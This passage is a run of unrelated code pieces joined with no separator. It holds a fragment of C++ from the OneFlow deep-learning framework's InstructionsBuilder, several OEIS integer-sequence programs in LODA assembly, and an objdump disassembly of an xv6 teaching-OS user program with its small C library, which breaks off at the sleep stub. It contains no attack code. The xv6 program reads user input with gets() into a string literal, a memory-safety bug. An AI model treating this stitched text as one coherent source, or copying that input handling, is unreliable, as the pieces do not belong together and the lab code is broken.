mutable_input_operand_blob_objects = std::make_shared<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>>(); for (const auto& ibn : op_attribute->input_bns()) { const auto& ibn2modifier = op_attribute->arg_modifier_signature().ibn2input_blob_modifier(); if (!(JUST(MapAt(ibn2modifier, ibn)).is_mutable())) { continue; } std::shared_ptr<StringSymbol> ibn_sym = JUST(GetSymbol4String(ibn)); std::shared_ptr<compatible_py::BlobObject> in_object = JUST(BlobObject4Ibn(ibn)); mutable_input_operand_blob_objects->emplace_back(std::make_pair(ibn_sym, in_object)); } return mutable_input_operand_blob_objects; } Maybe<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> InstructionsBuilder::GetMut1OperandBlobObjects( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { std::shared_ptr<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> mut1_operand_blob_objects = std::make_shared<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>>(); const auto GetOutBlobParallelDescSymbol = [&op_attribute, &parallel_desc_sym](const std::string& obn) -> Maybe<ParallelDesc> { const auto& parallel_signature = op_attribute->parallel_signature(); const auto& bn2symbol_id = parallel_signature.bn_in_op2parallel_desc_symbol_id(); if (bn2symbol_id.find(obn) != bn2symbol_id.end()) { return GetSymbol<cfg::ParallelConf, ParallelDesc>(bn2symbol_id.at(obn)); } else { return parallel_desc_sym; } }; const auto OutputBns = [&op_attribute]() -> std::vector<std::string> { const auto& obn2modifier = op_attribute->arg_modifier_signature().obn2output_blob_modifier(); std::vector<std::string> output_bns; for (const auto& obn : op_attribute->output_bns()) { if (obn2modifier.at(obn).header_infered_before_compute()) { output_bns.emplace_back(obn); } } for (const auto& tmp_bn : op_attribute->tmp_bns()) { output_bns.emplace_back(tmp_bn); } return output_bns; }; OpAttribute pb_op_attribute; op_attribute->ToProto(&pb_op_attribute); for (const auto& obn : OutputBns()) { std::shared_ptr<StringSymbol> obn_sym = JUST(GetSymbol4String(obn)); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::GetOpArgParallelAttribute(JUST(GetOutBlobParallelDescSymbol(obn)), pb_op_attribute, obn)); std::shared_ptr<compatible_py::OpArgBlobAttribute> op_arg_blob_attr = JUST(compatible_py::GetOpArgBlobAttribute(pb_op_attribute, obn)); std::shared_ptr<compatible_py::BlobObject> out_blob_object = JUST(NewBlobObject(op_arg_parallel_attr, op_arg_blob_attr)); (*bn_in_op2blob_object)[obn] = out_blob_object; mut1_operand_blob_objects->emplace_back(std::make_pair(obn_sym, out_blob_object)); } return mut1_operand_blob_objects; } Maybe<void> InstructionsBuilder::CheckRefInBlobObjectParallelDesc( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<ParallelDesc>& op_parallel_desc_sym, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { for (const std::string& ibn : op_attribute->input_bns()) { const auto& ibn2modifier = op_attribute->arg_modifier_signature().ibn2input_blob_modifier(); if (!(JUST(MapAt(ibn2modifier, ibn)).is_mutable())) { continue; } std::shared_ptr<compatible_py::BlobObject> ref_blob_object = bn_in_op2blob_object->at(ibn); CHECK_OR_RETURN(*op_parallel_desc_sym == *ref_blob_object->parallel_desc_symbol()); } return Maybe<void>::Ok(); } Maybe<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> InstructionsBuilder::GetMut2OperandBlobObjects( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { std::shared_ptr<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> mut2_operand_blob_objects = std::make_shared<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>>(); const auto GetOutBlobParallelDescSymbol = [&op_attribute, &parallel_desc_sym](const std::string& obn) -> Maybe<ParallelDesc> { const auto& parallel_signature = op_attribute->parallel_signature(); const auto& bn2symbol_id = parallel_signature.bn_in_op2parallel_desc_symbol_id(); if (bn2symbol_id.find(obn) != bn2symbol_id.end()) { return GetSymbol<cfg::ParallelConf, ParallelDesc>(JUST(MapAt(bn2symbol_id, obn))); } else { return parallel_desc_sym; } }; OpAttribute pb_op_attribute; op_attribute->ToProto(&pb_op_attribute); for (const auto& obn : op_attribute->output_bns()) { const auto& obn2modifier = op_attribute->arg_modifier_signature().obn2output_blob_modifier(); if (JUST(MapAt(obn2modifier, obn)).header_infered_before_compute()) { continue; } std::shared_ptr<StringSymbol> obn_sym = JUST(GetSymbol4String(obn)); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::GetOpArgParallelAttribute(JUST(GetOutBlobParallelDescSymbol(obn)), pb_op_attribute, obn)); std::shared_ptr<compatible_py::OpArgBlobAttribute> op_arg_blob_attr = JUST(compatible_py::GetOpArgBlobAttribute(pb_op_attribute, obn)); std::shared_ptr<compatible_py::BlobObject> out_blob_object = JUST(NewBlobObject(op_arg_parallel_attr, op_arg_blob_attr)); (*bn_in_op2blob_object)[obn] = out_blob_object; mut2_operand_blob_objects->emplace_back(std::make_pair(obn_sym, out_blob_object)); } return mut2_operand_blob_objects; } Maybe<void> LogicalRun(const std::function<Maybe<void>(InstructionsBuilder*)>& Build) { if (JUST(GlobalMultiClientEnv())) { // NOTE(chengcheng): in Multi-Client LogicalRun will degenerate directly to PhysicalRun, // because each rank will process instructions ONLY from itself, NOT the master. return PhysicalRun(Build); } const std::shared_ptr<vm::LogicalIdGenerator> id_generator = std::make_shared<vm::LogicalIdGenerator>(); std::shared_ptr<Session> sess = JUST(GetDefaultSession()); const auto& instruction_list = sess->instruction_list(); const auto& eager_symbol_list = sess->eager_symbol_list(); InstructionsBuilder instructions_builder(id_generator, instruction_list.get(), eager_symbol_list.get(), _ReleaseLogicalObject); JUST(Build(&instructions_builder)); JUST(Global<vm::EagerOneflow>::Get()->RunLogicalInstruction( instructions_builder.mut_instruction_list(), instructions_builder.eager_symbol_list())); return Maybe<void>::Ok(); } Maybe<void> PhysicalRun(const std::function<Maybe<void>(InstructionsBuilder*)>& Build) { vm::InstructionMsgList instruction_list; vm::cfg::EagerSymbolList eager_symbol_list; InstructionsBuilder instructions_builder(std::make_shared<vm::PhysicalIdGenerator>(), &instruction_list, &eager_symbol_list, _ReleasePhysicalObject); JUST(Build(&instructions_builder)); if (debug::RecordingInstructions()) { OBJECT_MSG_LIST_FOR_EACH(instructions_builder.mut_instruction_list(), instruction_msg) { debug::RecordInstruction(instruction_msg); } } JUST(Global<vm::EagerOneflow>::Get()->RunPhysicalInstruction( instructions_builder.mut_instruction_list(), instructions_builder.eager_symbol_list())); return Maybe<void>::Ok(); } } // namespace oneflow
; A061788: a(n) = Sum_{k=1..n} (2k)^(2k). ; Submitted by Christian Krause ; 4,260,46916,16824132,10016824132,8926117272388,11120932942830404,18457865006652382020,39364865940303189957444,104896964865940303189957444,341532774329085497699836681028,1334077309624613209946781309524804,6157453657516781924006621069709728580,33151680566910891644496734874434315541316,205924283775215910891644496734874434315541316,1461707561614678134114576477213017894090248084292,11758100612930230689548165077787568572512032157653828,106399117024329455038403023917534181308740367662016944964 mul $0,2 lpb $0 mov $2,$0 sub $0,2 add $2,2 pow $2,$2 add $1,$2 lpe mov $0,$1 add $0,4
; A102446: a(n) = a(n-1) + 4*a(n-2) for n>1, a(0) = a(1) = 2. ; 2,2,10,18,58,130,362,882,2330,5858,15178,38610,99322,253762,651050,1666098,4270298,10934690,28015882,71754642,183818170,470836738,1206109418,3089456370,7913894042,20271719522,51927295690,133014173778,340723356538,872780051650,2235673477802,5726793684402,14669487595610,37576662333218,96254612715658,246561262048530,631579712911162,1617824761105282,4144143612749930,10615442657171058,27192017108170778,69653787736855010,178421856169538122,457037007116958162,1170724431795110650,2998872460262943298,7681770187443385898,19677260028495159090,50404340778268702682,129113380892249339042,330730744005324149770,847184267574321505938,2170107243595618105018,5558844313892904128770,14239273288275376548842,36474650543846993063922,93431743696948499259290,239330345872336471514978,613057320660130468552138,1570378704149476354612050,4022607986789998228820602,10304122803387903647268802,26394554750547896562551210,67611045964099511151626418,173189264966291097401831258,443633448822689142008336930,1136390508687853531615661962,2910924303978610099649009682,7456486338730024226111657530,19100183554644464624707696258,48926128909564561529154326378,125326863128142420027985111410,321031378766400666144602416922,822338831278970346256542862562,2106464346344573010834952530250,5395819671460454395861123980498,13821677056838746439200934101498,35404955742680564022645430023490,90691663970035549779449166429482,232311486940757805870030886523442,595078142820900004987827552241370,1524324090583931228467951098335138,3904636661867531248419261307300618,10001933024203256162291065700641170,25620479671673381155968110929843642,65628211768486405805132373732408322,168110130455179930429004817451782890,430622977529125553649534312381416178 seq $0,6131 ; a(n) = a(n-1) + 4*a(n-2), a(0) = a(1) = 1. mul $0,2
; A032509: a(n) = round(tan(Pi*(1-1/n)/2)). ; 0,1,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,11,12,13,13,14,15,15,16,17,17,18,18,19,20,20,21,22,22,23,24,24,25,25,26,27,27,28,29,29,30,31,31,32,32,33,34,34,35,36,36,37,38,38,39,39,40,41,41,42,43,43,44 add $0,3 mov $3,2 lpb $0,1 add $3,$0 mov $5,8 mul $5,$3 trn $3,10 add $4,$5 add $1,$4 sub $1,$3 div $1,11 mov $2,11 add $2,$1 clr $0,1 lpe mov $1,$2 sub $1,14
; A183156: The number T(n) of isometries of all subspaces of the finite metric space {1,2,...,n} (as a subspace of the reals with the Euclidean metric). ; 1,2,7,22,59,142,319,686,1435,2950,5999,12118,24379,48926,98047,196318,392891,786070,1572463,3145286,6290971,12582382,25165247,50331022,100662619,201325862,402652399,805305526,1610611835,3221224510,6442449919,12884900798,25769802619,51539606326,103079213807,206158428838,412316858971,824633719310,1649267440063,3298534881646,6597069764891,13194139531462,26388279064687,52776558131222,105553116264379,211106232530782,422212465063679,844424930129566,1688849860261435,3377699720525270,6755399441053039 mov $2,4 lpb $0 sub $0,1 add $1,6 mul $1,2 sub $1,6 add $2,1 add $3,$0 add $3,$2 lpe sub $1,$3 add $1,1
_lab1: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx char * c= ""; printf(1,"Please Enter Value [1-3]:\n(1)A count of the processes in the system\n" f: 83 ec 08 sub $0x8,%esp 12: 68 a0 07 00 00 push $0x7a0 17: 6a 01 push $0x1 19: e8 62 04 00 00 call 480 <printf> "(2)A count of the total number of system calls that the current process has made so " "far\n(3)The number of memory pages the current process is using.\n"); c = gets(c,2); 1e: 58 pop %eax 1f: 5a pop %edx 20: 6a 02 push $0x2 22: 68 0e 09 00 00 push $0x90e 27: e8 c4 01 00 00 call 1f0 <gets> if(atoi(c) == 1) 2c: 89 04 24 mov %eax,(%esp) char * c= ""; printf(1,"Please Enter Value [1-3]:\n(1)A count of the processes in the system\n" "(2)A count of the total number of system calls that the current process has made so " "far\n(3)The number of memory pages the current process is using.\n"); c = gets(c,2); 2f: 89 c3 mov %eax,%ebx if(atoi(c) == 1) 31: e8 7a 02 00 00 call 2b0 <atoi> 36: 83 c4 10 add $0x10,%esp 39: 83 f8 01 cmp $0x1,%eax 3c: 74 27 je 65 <main+0x65> { int n = info(atoi(c)); printf(1, "Number of Process on System: (%d)\n", n); } else if (atoi(c) == 2) 3e: 83 ec 0c sub $0xc,%esp 41: 53 push %ebx 42: e8 69 02 00 00 call 2b0 <atoi> 47: 83 c4 10 add $0x10,%esp 4a: 83 f8 02 cmp $0x2,%eax 4d: 74 3c je 8b <main+0x8b> { int n = info(atoi(c)); printf(1,"Current Process has %d system calls\n", n); } else if (atoi(c) == 3) 4f: 83 ec 0c sub $0xc,%esp 52: 53 push %ebx 53: e8 58 02 00 00 call 2b0 <atoi> 58: 83 c4 10 add $0x10,%esp 5b: 83 f8 03 cmp $0x3,%eax 5e: 74 51 je b1 <main+0xb1> { int n = info(atoi(c)); printf(1,"The number of memory pages the current process is using is %d\n", n); } exit(); 60: e8 bd 02 00 00 call 322 <exit> "far\n(3)The number of memory pages the current process is using.\n"); c = gets(c,2); if(atoi(c) == 1) { int n = info(atoi(c)); 65: 83 ec 0c sub $0xc,%esp 68: 53 push %ebx 69: e8 42 02 00 00 call 2b0 <atoi> 6e: 89 04 24 mov %eax,(%esp) 71: e8 4c 03 00 00 call 3c2 <info> printf(1, "Number of Process on System: (%d)\n", n); 76: 83 c4 0c add $0xc,%esp 79: 50 push %eax 7a: 68 7c 08 00 00 push $0x87c 7f: 6a 01 push $0x1 81: e8 fa 03 00 00 call 480 <printf> 86: 83 c4 10 add $0x10,%esp 89: eb d5 jmp 60 <main+0x60> } else if (atoi(c) == 2) { int n = info(atoi(c)); 8b: 83 ec 0c sub $0xc,%esp 8e: 53 push %ebx 8f: e8 1c 02 00 00 call 2b0 <atoi> 94: 89 04 24 mov %eax,(%esp) 97: e8 26 03 00 00 call 3c2 <info> printf(1,"Current Process has %d system calls\n", n); 9c: 83 c4 0c add $0xc,%esp 9f: 50 push %eax a0: 68 a0 08 00 00 push $0x8a0 a5: 6a 01 push $0x1 a7: e8 d4 03 00 00 call 480 <printf> ac: 83 c4 10 add $0x10,%esp af: eb af jmp 60 <main+0x60> } else if (atoi(c) == 3) { int n = info(atoi(c)); b1: 83 ec 0c sub $0xc,%esp b4: 53 push %ebx b5: e8 f6 01 00 00 call 2b0 <atoi> ba: 89 04 24 mov %eax,(%esp) bd: e8 00 03 00 00 call 3c2 <info> printf(1,"The number of memory pages the current process is using is %d\n", n); c2: 83 c4 0c add $0xc,%esp c5: 50 push %eax c6: 68 c8 08 00 00 push $0x8c8 cb: 6a 01 push $0x1 cd: e8 ae 03 00 00 call 480 <printf> d2: 83 c4 10 add $0x10,%esp d5: eb 89 jmp 60 <main+0x60> d7: 66 90 xchg %ax,%ax d9: 66 90 xchg %ax,%ax db: 66 90 xchg %ax,%ax dd: 66 90 xchg %ax,%ax df: 90 nop 000000e0 <strcpy>: //} char* strcpy(char *s, const char *t) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 53 push %ebx e4: 8b 45 08 mov 0x8(%ebp),%eax e7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) ea: 89 c2 mov %eax,%edx ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi f0: 83 c1 01 add $0x1,%ecx f3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx f7: 83 c2 01 add $0x1,%edx fa: 84 db test %bl,%bl fc: 88 5a ff mov %bl,-0x1(%edx) ff: 75 ef jne f0 <strcpy+0x10> ; return os; } 101: 5b pop %ebx 102: 5d pop %ebp 103: c3 ret 104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000110 <strcmp>: int strcmp(const char *p, const char *q) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 56 push %esi 114: 53 push %ebx 115: 8b 55 08 mov 0x8(%ebp),%edx 118: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 11b: 0f b6 02 movzbl (%edx),%eax 11e: 0f b6 19 movzbl (%ecx),%ebx 121: 84 c0 test %al,%al 123: 75 1e jne 143 <strcmp+0x33> 125: eb 29 jmp 150 <strcmp+0x40> 127: 89 f6 mov %esi,%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 130: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 133: 0f b6 02 movzbl (%edx),%eax p++, q++; 136: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 139: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 13d: 84 c0 test %al,%al 13f: 74 0f je 150 <strcmp+0x40> 141: 89 f1 mov %esi,%ecx 143: 38 d8 cmp %bl,%al 145: 74 e9 je 130 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 147: 29 d8 sub %ebx,%eax } 149: 5b pop %ebx 14a: 5e pop %esi 14b: 5d pop %ebp 14c: c3 ret 14d: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 150: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 152: 29 d8 sub %ebx,%eax } 154: 5b pop %ebx 155: 5e pop %esi 156: 5d pop %ebp 157: c3 ret 158: 90 nop 159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000160 <strlen>: uint strlen(const char *s) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 166: 80 39 00 cmpb $0x0,(%ecx) 169: 74 12 je 17d <strlen+0x1d> 16b: 31 d2 xor %edx,%edx 16d: 8d 76 00 lea 0x0(%esi),%esi 170: 83 c2 01 add $0x1,%edx 173: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 177: 89 d0 mov %edx,%eax 179: 75 f5 jne 170 <strlen+0x10> ; return n; } 17b: 5d pop %ebp 17c: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) 17d: 31 c0 xor %eax,%eax ; return n; } 17f: 5d pop %ebp 180: c3 ret 181: eb 0d jmp 190 <memset> 183: 90 nop 184: 90 nop 185: 90 nop 186: 90 nop 187: 90 nop 188: 90 nop 189: 90 nop 18a: 90 nop 18b: 90 nop 18c: 90 nop 18d: 90 nop 18e: 90 nop 18f: 90 nop 00000190 <memset>: void* memset(void *dst, int c, uint n) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 197: 8b 4d 10 mov 0x10(%ebp),%ecx 19a: 8b 45 0c mov 0xc(%ebp),%eax 19d: 89 d7 mov %edx,%edi 19f: fc cld 1a0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1a2: 89 d0 mov %edx,%eax 1a4: 5f pop %edi 1a5: 5d pop %ebp 1a6: c3 ret 1a7: 89 f6 mov %esi,%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001b0 <strchr>: char* strchr(const char *s, char c) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 53 push %ebx 1b4: 8b 45 08 mov 0x8(%ebp),%eax 1b7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 1ba: 0f b6 10 movzbl (%eax),%edx 1bd: 84 d2 test %dl,%dl 1bf: 74 1d je 1de <strchr+0x2e> if(*s == c) 1c1: 38 d3 cmp %dl,%bl 1c3: 89 d9 mov %ebx,%ecx 1c5: 75 0d jne 1d4 <strchr+0x24> 1c7: eb 17 jmp 1e0 <strchr+0x30> 1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1d0: 38 ca cmp %cl,%dl 1d2: 74 0c je 1e0 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 1d4: 83 c0 01 add $0x1,%eax 1d7: 0f b6 10 movzbl (%eax),%edx 1da: 84 d2 test %dl,%dl 1dc: 75 f2 jne 1d0 <strchr+0x20> if(*s == c) return (char*)s; return 0; 1de: 31 c0 xor %eax,%eax } 1e0: 5b pop %ebx 1e1: 5d pop %ebp 1e2: c3 ret 1e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001f0 <gets>: char* gets(char *buf, int max) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 56 push %esi 1f5: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 1f6: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 1f8: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 1fb: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1fe: eb 29 jmp 229 <gets+0x39> cc = read(0, &c, 1); 200: 83 ec 04 sub $0x4,%esp 203: 6a 01 push $0x1 205: 57 push %edi 206: 6a 00 push $0x0 208: e8 2d 01 00 00 call 33a <read> if(cc < 1) 20d: 83 c4 10 add $0x10,%esp 210: 85 c0 test %eax,%eax 212: 7e 1d jle 231 <gets+0x41> break; buf[i++] = c; 214: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 218: 8b 55 08 mov 0x8(%ebp),%edx 21b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 21d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 21f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 223: 74 1b je 240 <gets+0x50> 225: 3c 0d cmp $0xd,%al 227: 74 17 je 240 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 229: 8d 5e 01 lea 0x1(%esi),%ebx 22c: 3b 5d 0c cmp 0xc(%ebp),%ebx 22f: 7c cf jl 200 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 231: 8b 45 08 mov 0x8(%ebp),%eax 234: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 238: 8d 65 f4 lea -0xc(%ebp),%esp 23b: 5b pop %ebx 23c: 5e pop %esi 23d: 5f pop %edi 23e: 5d pop %ebp 23f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 240: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 243: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 245: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 249: 8d 65 f4 lea -0xc(%ebp),%esp 24c: 5b pop %ebx 24d: 5e pop %esi 24e: 5f pop %edi 24f: 5d pop %ebp 250: c3 ret 251: eb 0d jmp 260 <stat> 253: 90 nop 254: 90 nop 255: 90 nop 256: 90 nop 257: 90 nop 258: 90 nop 259: 90 nop 25a: 90 nop 25b: 90 nop 25c: 90 nop 25d: 90 nop 25e: 90 nop 25f: 90 nop 00000260 <stat>: int stat(const char *n, struct stat *st) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 56 push %esi 264: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 265: 83 ec 08 sub $0x8,%esp 268: 6a 00 push $0x0 26a: ff 75 08 pushl 0x8(%ebp) 26d: e8 f0 00 00 00 call 362 <open> if(fd < 0) 272: 83 c4 10 add $0x10,%esp 275: 85 c0 test %eax,%eax 277: 78 27 js 2a0 <stat+0x40> return -1; r = fstat(fd, st); 279: 83 ec 08 sub $0x8,%esp 27c: ff 75 0c pushl 0xc(%ebp) 27f: 89 c3 mov %eax,%ebx 281: 50 push %eax 282: e8 f3 00 00 00 call 37a <fstat> 287: 89 c6 mov %eax,%esi close(fd); 289: 89 1c 24 mov %ebx,(%esp) 28c: e8 b9 00 00 00 call 34a <close> return r; 291: 83 c4 10 add $0x10,%esp 294: 89 f0 mov %esi,%eax } 296: 8d 65 f8 lea -0x8(%ebp),%esp 299: 5b pop %ebx 29a: 5e pop %esi 29b: 5d pop %ebp 29c: c3 ret 29d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 2a0: b8 ff ff ff ff mov $0xffffffff,%eax 2a5: eb ef jmp 296 <stat+0x36> 2a7: 89 f6 mov %esi,%esi 2a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002b0 <atoi>: return r; } int atoi(const char *s) { 2b0: 55 push %ebp 2b1: 89 e5 mov %esp,%ebp 2b3: 53 push %ebx 2b4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2b7: 0f be 11 movsbl (%ecx),%edx 2ba: 8d 42 d0 lea -0x30(%edx),%eax 2bd: 3c 09 cmp $0x9,%al 2bf: b8 00 00 00 00 mov $0x0,%eax 2c4: 77 1f ja 2e5 <atoi+0x35> 2c6: 8d 76 00 lea 0x0(%esi),%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 2d0: 8d 04 80 lea (%eax,%eax,4),%eax 2d3: 83 c1 01 add $0x1,%ecx 2d6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 2da: 0f be 11 movsbl (%ecx),%edx 2dd: 8d 5a d0 lea -0x30(%edx),%ebx 2e0: 80 fb 09 cmp $0x9,%bl 2e3: 76 eb jbe 2d0 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 2e5: 5b pop %ebx 2e6: 5d pop %ebp 2e7: c3 ret 2e8: 90 nop 2e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000002f0 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 2f0: 55 push %ebp 2f1: 89 e5 mov %esp,%ebp 2f3: 56 push %esi 2f4: 53 push %ebx 2f5: 8b 5d 10 mov 0x10(%ebp),%ebx 2f8: 8b 45 08 mov 0x8(%ebp),%eax 2fb: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 2fe: 85 db test %ebx,%ebx 300: 7e 14 jle 316 <memmove+0x26> 302: 31 d2 xor %edx,%edx 304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 308: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 30c: 88 0c 10 mov %cl,(%eax,%edx,1) 30f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 312: 39 da cmp %ebx,%edx 314: 75 f2 jne 308 <memmove+0x18> *dst++ = *src++; return vdst; } 316: 5b pop %ebx 317: 5e pop %esi 318: 5d pop %ebp 319: c3 ret 0000031a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 31a: b8 01 00 00 00 mov $0x1,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <exit>: SYSCALL(exit) 322: b8 02 00 00 00 mov $0x2,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <wait>: SYSCALL(wait) 32a: b8 03 00 00 00 mov $0x3,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <pipe>: SYSCALL(pipe) 332: b8 04 00 00 00 mov $0x4,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <read>: SYSCALL(read) 33a: b8 05 00 00 00 mov $0x5,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <write>: SYSCALL(write) 342: b8 10 00 00 00 mov $0x10,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <close>: SYSCALL(close) 34a: b8 15 00 00 00 mov $0x15,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <kill>: SYSCALL(kill) 352: b8 06 00 00 00 mov $0x6,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <exec>: SYSCALL(exec) 35a: b8 07 00 00 00 mov $0x7,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <open>: SYSCALL(open) 362: b8 0f 00 00 00 mov $0xf,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <mknod>: SYSCALL(mknod) 36a: b8 11 00 00 00 mov $0x11,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <unlink>: SYSCALL(unlink) 372: b8 12 00 00 00 mov $0x12,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <fstat>: SYSCALL(fstat) 37a: b8 08 00 00 00 mov $0x8,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <link>: SYSCALL(link) 382: b8 13 00 00 00 mov $0x13,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <mkdir>: SYSCALL(mkdir) 38a: b8 14 00 00 00 mov $0x14,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <chdir>: SYSCALL(chdir) 392: b8 09 00 00 00 mov $0x9,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <dup>: SYSCALL(dup) 39a: b8 0a 00 00 00 mov $0xa,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <getpid>: SYSCALL(getpid) 3a2: b8 0b 00 00 00 mov $0xb,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <sbrk>: SYSCALL(sbrk) 3aa: b8 0c 00 00 00 mov $0xc,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <sleep>: 